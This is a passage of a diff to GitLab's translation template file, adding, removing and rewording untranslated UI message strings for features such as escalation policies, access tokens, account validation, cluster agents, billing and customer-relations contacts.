msgstr ""
+msgid "%{policy_link} (notifying after %{elapsed_time} minutes unless %{status})"
+msgstr ""
+
msgid "%{primary} (%{secondary})"
msgstr ""
@@ -865,6 +879,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1009,6 +1026,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1018,6 +1038,12 @@ msgstr ""
msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from the following escalation policies in %{project_link}: "
+msgstr ""
+
+msgid "%{user_name} (%{user_username}) was removed from the following escalation policies in %{project}:"
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
@@ -1195,9 +1221,15 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
+msgid "- %{policy_name} (notifying after %{elapsed_time} minutes unless %{status})"
+msgstr ""
+
msgid "- Available to run jobs."
msgstr ""
@@ -1500,9 +1532,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1527,6 +1556,9 @@ msgstr ""
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
+msgid "A quarterly reconciliation is due on %{date}"
+msgstr ""
+
msgid "A ready-to-go template for use with Android apps"
msgstr ""
@@ -1539,9 +1571,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1725,9 +1754,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1779,6 +1805,15 @@ msgstr ""
msgid "AccessTokens|Are you sure? Any issue email addresses currently in use will stop working."
msgstr ""
+msgid "AccessTokens|Copy feed token"
+msgstr ""
+
+msgid "AccessTokens|Copy incoming email token"
+msgstr ""
+
+msgid "AccessTokens|Copy static object token"
+msgstr ""
+
msgid "AccessTokens|Created"
msgstr ""
@@ -1791,12 +1826,21 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{linkStart}reset this token%{linkEnd}."
+msgstr ""
+
msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{linkStart}reset this token%{linkEnd}."
+msgstr ""
+
msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{linkStart}reset this token%{linkEnd}."
+msgstr ""
+
msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
@@ -1854,6 +1898,36 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "AccountValidation|Fix your pipelines by validating your account"
+msgstr ""
+
+msgid "AccountValidation|I'll bring my own runners"
+msgstr ""
+
+msgid "AccountValidation|If you no longer wish to receive marketing emails from us,"
+msgstr ""
+
+msgid "AccountValidation|In order to use free pipeline minutes on shared runners, you'll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project."
+msgstr ""
+
+msgid "AccountValidation|Learn more."
+msgstr ""
+
+msgid "AccountValidation|Looks like you’ll need to validate your account to use free pipeline minutes"
+msgstr ""
+
+msgid "AccountValidation|This is required to discourage and reduce the abuse on GitLab infrastructure. %{strong_start}GitLab will not charge or store your card, it will only be used for validation.%{strong_end} %{learn_more_link}"
+msgstr ""
+
+msgid "AccountValidation|Validate your account"
+msgstr ""
+
+msgid "AccountValidation|unsubscribe"
+msgstr ""
+
+msgid "AccountValidation|you may %{unsubscribe_link} at any time."
+msgstr ""
+
msgid "Action"
msgstr ""
@@ -1974,12 +2048,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title..."
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2022,6 +2102,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2223,7 +2309,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2232,7 +2318,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2397,6 +2483,15 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
+msgid "AdminLabels|Define your default set of project labels"
+msgstr ""
+
+msgid "AdminLabels|Labels created here will be automatically added to new projects."
+msgstr ""
+
+msgid "AdminLabels|They can be used to categorize issues and merge requests."
+msgstr ""
+
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2958,6 +3053,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
+msgstr ""
+
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
msgstr ""
@@ -3348,6 +3446,9 @@ msgstr ""
msgid "All groups and projects"
msgstr ""
+msgid "All issues"
+msgstr ""
+
msgid "All issues for this milestone are closed."
msgstr ""
@@ -3552,6 +3653,9 @@ msgstr ""
msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
msgstr ""
+msgid "An error occured while fetching the pipelines jobs."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3573,10 +3677,10 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
-msgid "An error occurred previewing the blob"
+msgid "An error occurred fetching the public deploy keys. Please try again."
msgstr ""
-msgid "An error occurred when removing the label."
+msgid "An error occurred previewing the blob"
msgstr ""
msgid "An error occurred when updating the title"
@@ -3732,6 +3836,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3756,6 +3863,9 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
+msgid "An error occurred while loading the Jobs tab."
+msgstr ""
+
msgid "An error occurred while loading the Needs tab."
msgstr ""
@@ -3914,6 +4024,15 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An incident has been resolved in %{project_path}."
+msgstr ""
+
+msgid "An incident has been triggered in %{project_path}."
+msgstr ""
+
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4240,9 +4359,15 @@ msgstr[1] ""
msgid "ApprovalRule|%{firstLabel} +%{numberOfAdditionalLabels} more"
msgstr ""
+msgid "ApprovalRule|A merge request author collaborating with a merge request approver"
+msgstr ""
+
msgid "ApprovalRule|Add approvers"
msgstr ""
+msgid "ApprovalRule|Add required approvers to improve your code review process"
+msgstr ""
+
msgid "ApprovalRule|All scanners"
msgstr ""
@@ -4273,6 +4398,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Assign approvers by area of expertise."
+msgstr ""
+
msgid "ApprovalRule|Confirmed"
msgstr ""
@@ -4282,6 +4410,15 @@ msgstr ""
msgid "ApprovalRule|Examples: QA, Security."
msgstr ""
+msgid "ApprovalRule|Increase your organization’s code quality."
+msgstr ""
+
+msgid "ApprovalRule|Learn more about merge request approval."
+msgstr ""
+
+msgid "ApprovalRule|Let GitLab designate eligible approvers based on the files changed."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4306,6 +4443,9 @@ msgstr ""
msgid "ApprovalRule|Previously detected"
msgstr ""
+msgid "ApprovalRule|Reduce the overall time to merge."
+msgstr ""
+
msgid "ApprovalRule|Resolved"
msgstr ""
@@ -4333,6 +4473,9 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
+msgid "ApprovalRule|Try it for free"
+msgstr ""
+
msgid "ApprovalRule|Vulnerabilities allowed"
msgstr ""
@@ -4369,7 +4512,7 @@ msgstr ""
msgid "ApprovalSettings|This setting is configured at the instance level and can only be changed by an administrator."
msgstr ""
-msgid "ApprovalSettings|This setting is configured in %{groupName} and can only be changed by an administrator or group owner."
+msgid "ApprovalSettings|This setting is configured in %{groupName} and can only be changed in the group settings by an administrator or group owner."
msgstr ""
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
@@ -4492,6 +4635,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4536,9 +4682,6 @@ msgstr ""
msgid "Are you sure you want to re-deploy this environment?"
msgstr ""
-msgid "Are you sure you want to regenerate the public key? You will have to update the public key on the remote server before mirroring will work again."
-msgstr ""
-
msgid "Are you sure you want to reindex?"
msgstr ""
@@ -4686,6 +4829,9 @@ msgstr ""
msgid "Assign reviewer(s)"
msgstr ""
+msgid "Assign severity"
+msgstr ""
+
msgid "Assign some issues to this milestone."
msgstr ""
@@ -4695,6 +4841,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4792,6 +4941,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5077,9 +5229,6 @@ msgstr ""
msgid "Avatar for %{assigneeName}"
msgstr ""
-msgid "Avatar for %{name}"
-msgstr ""
-
msgid "Avatar will be removed. Are you sure?"
msgstr ""
@@ -5329,9 +5478,6 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
-msgid "BillingPlan|Contact sales"
-msgstr ""
-
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -5362,10 +5508,10 @@ msgstr ""
msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
msgstr ""
-msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge your card, it will only be used for validation.%{strongEnd}"
msgstr ""
msgid "Billings|User successfully validated"
@@ -5392,9 +5538,15 @@ msgstr ""
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
+msgid "Billing|An error occurred while loading pending members list"
+msgstr ""
+
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Awaiting member signup"
+msgstr ""
+
msgid "Billing|Cannot remove user"
msgstr ""
@@ -5440,6 +5592,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5577,7 +5732,7 @@ msgstr ""
msgid "Boards"
msgstr ""
-msgid "Boards and Board Lists"
+msgid "Boards and board lists"
msgstr ""
msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
@@ -5938,7 +6093,10 @@ msgstr ""
msgid "Bulk update"
msgstr ""
-msgid "BulkImports|Re-import creates a new group. It does not sync with the existing group."
+msgid "BulkImport| %{host} is running outdated GitLab version (v%{version})"
+msgstr ""
+
+msgid "BulkImport|%{feature} (require v%{version})"
msgstr ""
msgid "BulkImport|Existing groups"
@@ -5947,6 +6105,9 @@ msgstr ""
msgid "BulkImport|Filter by source group"
msgstr ""
+msgid "BulkImport|Following data will not be migrated: %{bullets} Contact system administrator of %{host} to upgrade GitLab if you need this data in your migration"
+msgstr ""
+
msgid "BulkImport|From source group"
msgstr ""
@@ -5986,6 +6147,9 @@ msgstr ""
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|Re-import creates a new group. It does not sync with the existing group."
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -6519,10 +6683,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6690,7 +6854,7 @@ msgstr ""
msgid "Checkout"
msgstr ""
-msgid "Checkout|$%{selectedPlanPrice} per 10 GB storage per pack"
+msgid "Checkout|$%{selectedPlanPrice} per 10 GB storage pack per year"
msgstr ""
msgid "Checkout|$%{selectedPlanPrice} per pack of 1,000 minutes"
@@ -6716,6 +6880,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6730,9 +6897,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6931,9 +7095,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -6955,9 +7116,6 @@ msgstr ""
msgid "Choose file…"
msgstr ""
-msgid "Choose labels"
-msgstr ""
-
msgid "Choose specific groups or storage shards"
msgstr ""
@@ -7276,6 +7434,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7339,10 +7500,22 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterAgents|%{number} of %{total} Agent based integrations"
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
+msgid "ClusterAgents|%{titleIcon}Connected"
+msgstr ""
+
+msgid "ClusterAgents|%{titleIcon}Not connected"
msgstr ""
-msgid "ClusterAgents|%{number} of %{total} Certificate based integrations"
+msgid "ClusterAgents|%{tokenName} created"
+msgstr ""
+
+msgid "ClusterAgents|%{tokenName} revoked"
msgstr ""
msgid "ClusterAgents|Access tokens"
@@ -7351,9 +7524,18 @@ msgstr ""
msgid "ClusterAgents|Actions"
msgstr ""
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
msgid "ClusterAgents|Agent"
msgstr ""
+msgid "ClusterAgents|Agent %{strongStart}connected%{strongEnd}"
+msgstr ""
+
+msgid "ClusterAgents|Agent %{strongStart}disconnected%{strongEnd}"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
@@ -7363,34 +7545,40 @@ msgstr ""
msgid "ClusterAgents|All"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
-msgstr ""
-
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your agent"
msgstr ""
+msgid "ClusterAgents|An error occurred while retrieving GitLab Agent activity. Reload the page to try again."
+msgstr ""
+
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
-msgid "ClusterAgents|Certificate based"
+msgid "ClusterAgents|Certificate"
msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connect existing cluster"
msgstr ""
-msgid "ClusterAgents|Connect with Agent"
+msgid "ClusterAgents|Connect with a certificate"
msgstr ""
-msgid "ClusterAgents|Connect with a GitLab Agent"
+msgid "ClusterAgents|Connect with the Agent"
msgstr ""
-msgid "ClusterAgents|Connect with certificate"
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
msgstr ""
msgid "ClusterAgents|Connected"
@@ -7402,7 +7590,7 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
-msgid "ClusterAgents|Create new cluster"
+msgid "ClusterAgents|Create a new cluster"
msgstr ""
msgid "ClusterAgents|Created by"
@@ -7414,25 +7602,34 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Event occurred"
+msgstr ""
+
+msgid "ClusterAgents|Failed to register an agent"
+msgstr ""
+
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|GitLab Agents"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|GitLab Agents provide an increased level of security when integrating with clusters. %{linkStart}Learn more about the GitLab Kubernetes Agent.%{linkEnd}"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|If you are setting up multiple clusters and are using Auto DevOps, %{linkStart}read about using multiple Kubernetes clusters first.%{linkEnd}"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7447,9 +7644,6 @@ msgstr ""
msgid "ClusterAgents|Learn how to troubleshoot"
msgstr ""
-msgid "ClusterAgents|Learn more about the GitLab Kubernetes Agent."
-msgstr ""
-
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7462,25 +7656,25 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
-msgid "ClusterAgents|No Agent based integrations"
+msgid "ClusterAgents|No agents"
msgstr ""
-msgid "ClusterAgents|No Certificate based integrations"
+msgid "ClusterAgents|No clusters connected through cluster certificates"
msgstr ""
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
-msgstr ""
-
msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Register Agent"
+msgid "ClusterAgents|Register"
+msgstr ""
+
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
msgid "ClusterAgents|Registering Agent"
@@ -7492,48 +7686,65 @@ msgstr ""
msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|See Agent activity updates such as tokens created or revoked and clusters connected or not connected."
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
+msgid "ClusterAgents|There's no activity from the past day"
+msgid_plural "ClusterAgents|There's no activity from the past %d days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
+msgstr ""
+
+msgid "ClusterAgents|Token created by %{userName}"
+msgstr ""
+
+msgid "ClusterAgents|Token revoked by %{userName}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
-msgid "ClusterAgents|Use GitLab Agents to more securely integrate with your clusters to deploy your applications, run your pipelines, use review apps and much more."
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
msgstr ""
-msgid "ClusterAgents|View all %{number} Agent based integrations"
+msgid "ClusterAgents|What is GitLab Agent activity?"
msgstr ""
-msgid "ClusterAgents|View all %{number} Certificate based integrations"
+msgid "ClusterAgents|You cannot see this token again after you close this window."
msgstr ""
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7684,6 +7895,9 @@ msgstr ""
msgid "ClusterIntegration|Connect with a certificate"
msgstr ""
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7843,9 +8057,6 @@ msgstr ""
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
-msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{linkStart}read about using multiple Kubernetes clusters first.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|If you do not wish to delete all associated GitLab resources, you can simply remove the integration."
msgstr ""
@@ -7900,9 +8111,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Learn more about the GitLab managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -8182,6 +8390,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8236,7 +8447,7 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Use certificates to integrate with your clusters to deploy your applications, run your pipelines, use review apps and much more in an easy way."
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
msgstr ""
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
@@ -8332,6 +8543,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8709,6 +8923,15 @@ msgstr ""
msgid "ComplianceFramework|New compliance framework"
msgstr ""
+msgid "ComplianceReport|Approved by author"
+msgstr ""
+
+msgid "ComplianceReport|Approved by committer"
+msgstr ""
+
+msgid "ComplianceReport|Less than 2 approvers"
+msgstr ""
+
msgid "Component"
msgstr ""
@@ -9456,6 +9679,9 @@ msgstr ""
msgid "Copy file path"
msgstr ""
+msgid "Copy issue URL to clipboard"
+msgstr ""
+
msgid "Copy key"
msgstr ""
@@ -9528,7 +9754,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9684,6 +9910,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9825,9 +10054,6 @@ msgstr ""
msgid "Create new project"
msgstr ""
-msgid "Create new..."
-msgstr ""
-
msgid "Create or import your first project"
msgstr ""
@@ -10098,12 +10324,63 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Contact has been added"
+msgstr ""
+
+msgid "Crm|Contact has been updated"
+msgstr ""
+
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Create organization"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Customer Relations Organizations"
+msgstr ""
+
+msgid "Crm|Default rate (optional)"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Edit contact"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New Organization"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|New organization"
+msgstr ""
+
msgid "Crm|No contacts found"
msgstr ""
msgid "Crm|No organizations found"
msgstr ""
+msgid "Crm|Organization has been added"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10251,15 +10528,6 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
-msgid "CustomizeHomepageBanner|Do you want to customize this page?"
-msgstr ""
-
-msgid "CustomizeHomepageBanner|Go to preferences"
-msgstr ""
-
-msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
-msgstr ""
-
msgid "Cycle Time"
msgstr ""
@@ -10944,6 +11212,9 @@ msgstr ""
msgid "Date"
msgstr ""
+msgid "Date merged"
+msgstr ""
+
msgid "Date picker"
msgstr ""
@@ -11142,6 +11413,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11163,6 +11437,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11217,6 +11494,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Failed to remove events. Please try again or contact administrator."
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
